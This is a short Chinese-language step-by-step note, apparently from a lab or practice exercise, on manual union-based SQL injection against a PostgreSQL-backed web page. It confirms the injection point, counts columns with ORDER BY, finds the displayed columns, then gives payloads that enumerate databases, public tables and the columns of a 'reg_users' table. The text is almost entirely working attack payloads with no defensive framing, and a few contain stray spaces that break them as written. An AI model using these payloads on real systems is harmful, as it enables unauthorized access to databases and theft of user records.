1、判断注入点
and 1=2报错,and1=1页面正常,存在sql注入
2、判断字段
order by 4,页面正常,order by 5,页面出错,所以只有4个字段
3、检测四个字段那个可以显示
and 1=2 union select 'null',null,null,null 无显示
and 1=2 union select null,'null',null,null 有显示
and 1=2 union select null,null,'null',null 有显示
and 1=2 union select null,null,null,'null' 无显示
4、在这两个字段当中来查询当前数据库名称和当前用户
and 1=2 union select null,null,string_agg(datname,','),nu ll from pg_database
and 1=2 union select null,null,string_agg(tablename,','), null from pg_tables where schemaname='public'
5、查询字段
and 1=2 union select null,null,string_agg(column_nam e,','),null from information_schema.columns where table_name='reg_users'